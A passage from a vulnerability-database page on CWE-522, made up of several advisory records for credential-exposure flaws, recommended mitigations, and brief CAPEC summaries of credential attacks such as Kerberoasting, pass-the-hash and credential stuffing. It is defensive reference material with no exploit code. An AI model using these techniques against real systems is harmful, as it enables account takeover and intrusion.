  "details": "IBM Jazz for Service Management and IBM Tivoli Netcool/OMNIbus_GUI 8.1.0 stores user credentials in plain clear text which can be read by an authenticated admin user. IBM X-Force ID: 204329.",
  "id": "GHSA-w223-cx42-24c9",
  "modified": "2022-05-24T19:15:03Z",
  "published": "2022-05-24T19:15:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-29811"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/204329"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6490747"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W225-JHFH-P325

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2022-05-24 17:24
VLAI
Details

Insecure permissions in emfd/libemf in Ruckus Wireless Unleashed through 200.7.10.102.92 allow a remote attacker to overwrite admin credentials via an unauthenticated crafted HTTP request. This affects C110, E510, H320, H510, M510, R320, R310, R500, R510 R600, R610, R710, R720, R750, T300, T301n, T301s, T310c, T310d, T310n, T310s, T610, T710, and T710s devices.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-13915"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-28T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insecure permissions in emfd/libemf in Ruckus Wireless Unleashed through 200.7.10.102.92 allow a remote attacker to overwrite admin credentials via an unauthenticated crafted HTTP request. This affects C110, E510, H320, H510, M510, R320, R310, R500, R510 R600, R610, R710, R720, R750, T300, T301n, T301s, T310c, T310d, T310n, T310s, T610, T710, and T710s devices.",
  "id": "GHSA-w225-jhfh-p325",
  "modified": "2022-05-24T17:24:27Z",
  "published": "2022-05-24T17:24:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13915"
    },
    {
      "type": "WEB",
      "url": "https://support.ruckuswireless.com/security_bulletins/304"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-W2Q4-93G6-J5VM

Vulnerability from github – Published: 2026-06-25 18:30 – Updated: 2026-07-14 18:31
VLAI
Details

CWE-522 Insufficiently Protected Credentials vulnerability that could cause unauthorized access and exposure of sensitive information when unauthenticated attacker accesses credentials stored within firmware or system files. With this credential an attacker could subsequently compromise the device if they have physical access to the device.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-9650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-25T16:16:43Z",
    "severity": "HIGH"
  },
  "details": "CWE-522 Insufficiently Protected Credentials vulnerability that could cause unauthorized access and exposure of sensitive information when unauthenticated attacker accesses credentials stored within firmware or system files. With this credential an attacker could subsequently compromise the device if they have physical access to the device.",
  "id": "GHSA-w2q4-93g6-j5vm",
  "modified": "2026-07-14T18:31:50Z",
  "published": "2026-06-25T18:30:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9650"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2026-160-02\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2026-160-02.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-W2X8-37G8-J83C

Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14
VLAI
Details

Cloud Foundry Container Runtime, versions prior to 0.28.0, deploys K8s worker nodes that contains a configuration file with IAAS credentials. A malicious user with access to the k8s nodes can obtain IAAS credentials allowing the user to escalate privileges to gain access to the IAAS account.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-3780"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-522"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-08T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Cloud Foundry Container Runtime, versions prior to 0.28.0, deploys K8s worker nodes that contains a configuration file with IAAS credentials. A malicious user with access to the k8s nodes can obtain IAAS credentials allowing the user to escalate privileges to gain access to the IAAS account.",
  "id": "GHSA-w2x8-37g8-j83c",
  "modified": "2022-05-13T01:14:28Z",
  "published": "2022-05-13T01:14:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3780"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2019-3780"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107434"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Use an appropriate security mechanism to protect the credentials.

Mitigation
Architecture and Design

Make appropriate use of cryptography to protect the credentials.

Mitigation
Implementation

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

CAPEC-102: Session Sidejacking

Session sidejacking takes advantage of an unencrypted communication channel between a victim and target system. The attacker sniffs traffic on a network looking for session tokens in unencrypted traffic. Once a session token is captured, the attacker performs malicious actions by using the stolen token with the targeted application to impersonate the victim. This attack is a specific method of session hijacking, which is exploiting a valid session token to gain unauthorized access to a target system or information. Other methods to perform a session hijacking are session fixation, cross-site scripting, or compromising a user or server machine and stealing the session token.

CAPEC-474: Signature Spoofing by Key Theft

An attacker obtains an authoritative or reputable signer's private signature key by theft and then uses this key to forge signatures from the original signer to mislead a victim into performing actions that benefit the attacker.

CAPEC-50: Password Recovery Exploitation

An attacker may take advantage of the application feature to help users recover their forgotten passwords in order to gain access into the system with the same privileges as the original user. Generally password recovery schemes tend to be weak and insecure.

CAPEC-509: Kerberoasting

Through the exploitation of how service accounts leverage Kerberos authentication with Service Principal Names (SPNs), the adversary obtains and subsequently cracks the hashed credentials of a service account target to exploit its privileges. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. As an authenticated user, the adversary may request Active Directory and obtain a service ticket with portions encrypted via RC4 with the private key of the authenticated account. By extracting the local ticket and saving it disk, the adversary can brute force the hashed value to reveal the target account credentials.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-555: Remote Services with Stolen Credentials

This pattern of attack involves an adversary that uses stolen credentials to leverage remote services such as RDP, telnet, SSH, and VNC to log into a system. Once access is gained, any number of malicious activities could be performed.

CAPEC-560: Use of Known Domain Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate credentials (e.g. userID/password) to achieve authentication and to perform authorized actions under the guise of an authenticated user or service.

CAPEC-561: Windows Admin Shares with Stolen Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain.

CAPEC-600: Credential Stuffing

An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services.

CAPEC-644: Use of Captured Hashes (Pass The Hash)

An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.

CAPEC-645: Use of Captured Tickets (Pass The Ticket)

An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.

CAPEC-652: Use of Known Kerberos Credentials

An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.

CAPEC-653: Use of Known Operating System Credentials

An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.

← Back to the CWE list